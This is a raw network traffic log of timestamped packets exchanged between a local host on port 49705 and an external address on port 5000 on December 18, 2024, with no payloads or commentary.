Dec 18, 2024 11:40:31.264653921 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.264719009 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.265763044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.265979052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.266031027 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.266570091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.266644955 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.266855955 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.267596960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.267642975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.267712116 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.268573046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.268616915 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.268666983 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.269634962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.269807100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.269862890 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.270539045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.270688057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.270745993 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.271516085 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.271620989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.271728039 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.280663967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.280755997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.280822039 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.281059027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.281234026 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.281335115 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.282021999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.282177925 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.282222986 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.282973051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.331743956 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.414655924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.414761066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.414798021 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.415064096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.415205956 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.415246010 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.416074991 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.416193008 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.416230917 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.417097092 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.417273998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.417366982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.418088913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.418116093 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.418160915 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.419059038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.419194937 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.419238091 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.420062065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.420125961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.420171022 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.421026945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.421143055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.421266079 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.422116041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.422178984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.422219992 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.423168898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.423181057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.423258066 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.424047947 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.424103975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.424190998 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.424990892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.425118923 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.425163031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.426055908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.426208973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.426251888 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.426984072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.427086115 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.427134991 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.428051949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.428184032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.428234100 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.429008961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.429079056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.429167032 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.430042028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.430164099 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.430347919 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.430951118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.431071997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.431138039 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.431998968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.432147980 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.432192087 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.432971001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.433115959 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.433160067 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.433983088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.433994055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.434041977 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.434926033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.435024977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.435106993 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.435931921 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.435986996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.436024904 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.436906099 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.437010050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.437060118 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.437922001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.438045025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.438112020 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.438895941 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.439085960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.439132929 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.439948082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.440077066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.440116882 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.440902948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.440922022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.440964937 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.441884041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.441988945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.442022085 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.442862988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.442886114 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.442929983 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.443985939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.444065094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.444102049 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.444880009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.445034027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.445075989 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.445885897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.445959091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.446089029 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.446856022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.446948051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.446988106 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.447916031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.447988987 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.448035955 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.448889971 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.448991060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.449028015 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.449810028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.449934006 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.449976921 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.450812101 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.450912952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.451035023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.451917887 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.452136040 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.452184916 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.452806950 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.452930927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.452974081 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.453805923 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.453886986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.454037905 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.454760075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.454879045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.454919100 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.455799103 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.455900908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.455992937 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.456772089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.456896067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.456931114 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.457786083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.457928896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.457969904 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.458872080 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.459001064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.459043026 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.459820032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.459897995 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.459933043 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.460706949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.460827112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.460870981 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.461766005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.461786985 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.461922884 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.462862015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.462996960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.463032007 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.471620083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.471784115 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.471822023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.472125053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.472238064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.473112106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.473223925 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.473261118 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.473261118 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.474055052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.519262075 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.605726957 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.605921984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.606030941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.606247902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.606323957 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.606364965 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.607217073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.607342958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.607386112 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.608213902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.608315945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.608359098 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.609205008 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.609374046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.609447956 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.610266924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.610289097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.610352039 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.611296892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.611449003 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.611609936 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.612595081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.612719059 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.612904072 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.613435984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.613512993 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.613630056 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.615154028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.615308046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.615842104 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.616099119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.616111994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.616167068 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.617022038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.617034912 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.617213011 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.617727041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.618428946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.618516922 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.618714094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.618726015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.619527102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.619540930 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.619599104 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.619599104 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.620374918 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.620388031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.620420933 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.621373892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.621387005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.621447086 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.622236013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.622626066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.622668982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.623163939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.623176098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.623280048 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.624190092 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.624202013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.624239922 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.625144958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.625250101 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.625427961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.626118898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.626353979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.626425028 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.627239943 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.627254009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.627387047 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.628055096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.628381968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.628537893 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.629288912 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.629302025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.629379988 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.630064011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.630333900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.630445957 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.631133080 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.631144047 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.631196976 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.632134914 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.632148981 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.632319927 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.633230925 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.633243084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.633320093 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.634000063 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.634913921 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.635107994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.635121107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.635150909 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.635150909 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.636163950 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.636176109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.637106895 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.637119055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.637177944 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.637177944 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.637973070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.638185024 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.638223886 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.638973951 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.639635086 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.639786005 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.640142918 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.640155077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.640201092 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.641143084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.641155005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.641247034 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.641936064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.642930031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.642944098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.643023014 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.643994093 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.644011021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.644047976 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.644179106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.644295931 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.645039082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.645051003 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.645415068 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.645885944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.646043062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.646089077 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.647073984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.647088051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.647145033 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.648097992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.648118019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.648606062 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.649008036 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.649020910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.649085045 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.649966002 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.650840998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.650890112 CET	5000	49705	194.59.30.220	192.168.2.5
